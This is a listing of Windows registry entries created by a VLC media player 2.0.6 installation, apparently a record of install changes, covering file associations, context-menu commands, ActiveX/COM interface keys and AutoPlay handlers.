[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"Publisher" = "VideoLAN"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XSPF" = ""

[HKCR\VLC.rmvb\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.aiff\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mtv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.nsv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg1\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp2v]
"(Default)" = "VLC.mp2v"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeProgID" = "VLC.DVDMovie"

[HKCR\.wv]
"(Default)" = "VLC.wv"

[HKCR\VLC.mp4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aif" = "VLC.aif"

[HKCR\VLC.aob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell]
"(Default)" = "Open"

[HKCR\VLC.webm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wmv\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".vlc" = "VLC.vlc"

[HKCR\VLC.3gp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mlp]
"(Default)" = "VLC media file (.mlp)"

[HKCR\VLC.adts]
"(Default)" = "VLC media file (.adts)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".wma" = "VLC.wma"

[HKCR\VLC.rmvb\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gpp" = "VLC.3gpp"
".ts" = "VLC.ts"

[HKCR\VLC.rec\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".adts" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ifo" = "VLC.ifo"

[HKCR\VLC.cue]
"(Default)" = "VLC media file (.cue)"

[HKCR\VLC.webm\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayVideoCDMovieOnArrival]
"VLCPlayVCDMovieOnArrival" = ""

[HKCR\VLC.mid\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dts" = ""

[HKCR\VLC.vob\shell]
"(Default)" = "Open"

[HKCR\.m1v]
"(Default)" = "VLC.m1v"

[HKCR\VLC.dv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".669" = "VLC.669"
".divx" = "VLC.divx"

[HKCR\VLC.wv]
"(Default)" = "VLC media file (.wv)"

[HKCR\VLC.ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.qcp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.s3m]
"(Default)" = "VLC.s3m"

[HKCR\.it]
"(Default)" = "VLC.it"

[HKCR\VLC.mid\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m3u8\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2v" = "VLC.m2v"
".m2t" = "VLC.m2t"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Version" = "2.0.6"

[HKCR\VLC.ogv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.mov\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cda\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mka\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.snd\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.m4v]
"(Default)" = "VLC.m4v"

[HKCR\VLC.w64\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob]
"(Default)" = "VLC media file (.aob)"

[HKCR\VLC.snd\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xm\shell\Open]
"(Default)" = "Play"

[HKCR\.tts]
"(Default)" = "VLC.tts"

[HKCR\VLC.mpeg1]
"(Default)" = "VLC media file (.mpeg1)"

[HKCR\VLC.mov]
"(Default)" = "VLC media file (.mov)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"Action" = "Play audio DVD"

[HKCR\VLC.vro\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.sdp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg" = "VLC.mpeg"

[HKCR\.xspf]
"(Default)" = "VLC.xspf"

[HKCR\VLC.opus\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.b4s\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.m2t\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".qcp" = "VLC.qcp"

[HKCR\VLC.mp4v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg2\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.tts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669]
"(Default)" = "VLC media file (.669)"

[HKCR\VLC.bin]
"(Default)" = "VLC media file (.bin)"

[HKCR\VLC.flv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.aob\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.mts]
"(Default)" = "VLC.mts"

[HKCR\VLC.adts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".gxf" = "VLC.gxf"

[HKCR\VLC.vro]
"(Default)" = "VLC media file (.vro)"

[HKCR\VLC.aifc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amr\shell]
"(Default)" = "Open"

[HKCR\.asx]
"(Default)" = "VLC.asx"

[HKCR\.b4s]
"(Default)" = "VLC.b4s"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mpeg4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogx\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".vqf" = ""

[HKCR\VLC.w64\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.3ga]
"(Default)" = "VLC media file (.3ga)"

[HKCR\VLC.mpg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.xa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.wma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.669\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.au\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.caf\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.nuv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amr\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ac3\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\shell]
"(Default)" = "Open"

[HKCR\VLC.wma\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ape\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.divx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XSPF" = "VLC.xspf"

[HKCR\VLC.ape]
"(Default)" = "VLC media file (.ape)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".RMI" = "VLC.rmi"

[HKCR\VLC.a52]
"(Default)" = "VLC media file (.a52)"

[HKCR\VLC.vqf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CDA" = "VLC.cda"

[HKCR\VLC.dv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rm\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell]
"(Default)" = "Open"

[HKCR\VLC.3gpp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.tod\shell]
"(Default)" = "Open"

[HKCR\VLC.wav\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.amr\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3gp" = "VLC.3gp"

[HKCR\VLC.mp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".tts" = ""

[HKCR\VLC.669\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.amv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".adts" = "VLC.adts"

[HKCR\VLC.oga\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.spx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.it\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".TTA" = ""

[HKCR\VLC.mpg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.bin\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mka\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3g2" = "VLC.3g2"

[HKCR\VLC.3gp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\VersionIndependentProgID]
"(Default)" = "VideoLAN.VLCPlugin"

[HKCR\VLC.m4p\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\MiscStatus\1]
"(Default)" = "131473"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".3ga" = "VLC.3ga"

[HKCR\VLC.it\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.cda\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.flv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4a\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4]
"(Default)" = "VLC media file (.mpeg4)"

[HKCR\VLC.mpeg1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cue\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogx\shell\Open]
"(Default)" = "Play"

[HKCR\.adts]
"(Default)" = "VLC.adts"

[HKCR\VLC.mxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\VLC.xa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.aob\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VideoLAN.VLCPlugin.2]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp2" = ""

[HKCR\VLC.rec\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.dts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2ts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell]
"(Default)" = "Open"

[HKCR\VLC.mts\shell]
"(Default)" = "Open"

[HKCR\.bin]
"(Default)" = "VLC.bin"

[HKCR\VLC.m2v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.tts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp3\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.bin\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rm\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gpp" = ""

[HKCR\VLC.amv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.dts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpa\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell]
"(Default)" = "Open"

[HKCR\VLC.s3m\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.spx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ape\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpv2" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationName" = "VLC media player"

[HKCR\VLC.nuv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.opus\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mts" = "VLC.mts"
".mtv" = "VLC.mtv"

[HKCR\Applications\vlc.exe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aif" = ""

[HKCR\VLC.669\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.a52]
"(Default)" = "VLC.a52"

[HKCR\VLC.mod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ts]
"(Default)" = "VLC media file (.ts)"

[HKCR\VLC.amr]
"(Default)" = "VLC media file (.amr)"

[HKCR\VLC.aiff\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CUE" = "VLC.cue"

[HKCR\VLC.m1v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.tod]
"(Default)" = "VLC.tod"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.3g2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpe\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ReinstallCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /Reinstall /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".divx" = ""
".w64" = ""

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\VLC.mid\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mpa]
"(Default)" = "VLC.mpa"

[HKCR\VLC.wv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.f4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.qcp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.a52\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rec\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogm\shell]
"(Default)" = "Open"

[HKCR\VLC.pls\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gp2\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2ts]
"(Default)" = "VLC media file (.m2ts)"

[HKCR\VLC.mts]
"(Default)" = "VLC media file (.mts)"

[HKCR\VLC.amr\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.rmvb]
"(Default)" = "VLC media file (.rmvb)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wmv" = ""

[HKCR\VLC.rec\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rec" = ""

[HKCR\VLC.voc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1]
"(Default)" = "VLC media file (.mp1)"

[HKCR\.w64]
"(Default)" = "VLC.w64"

[HKCR\.mlp]
"(Default)" = "VLC.mlp"

[HKCR\VLC.wmv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wma]
"(Default)" = "VLC media file (.wma)"

[HKCR\Applications\vlc.exe]
"(Default)" = ""

[HKCR\VLC.dts\shell]
"(Default)" = "Open"

[HKCR\VLC.m4a]
"(Default)" = "VLC media file (.m4a)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.spx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC\command]
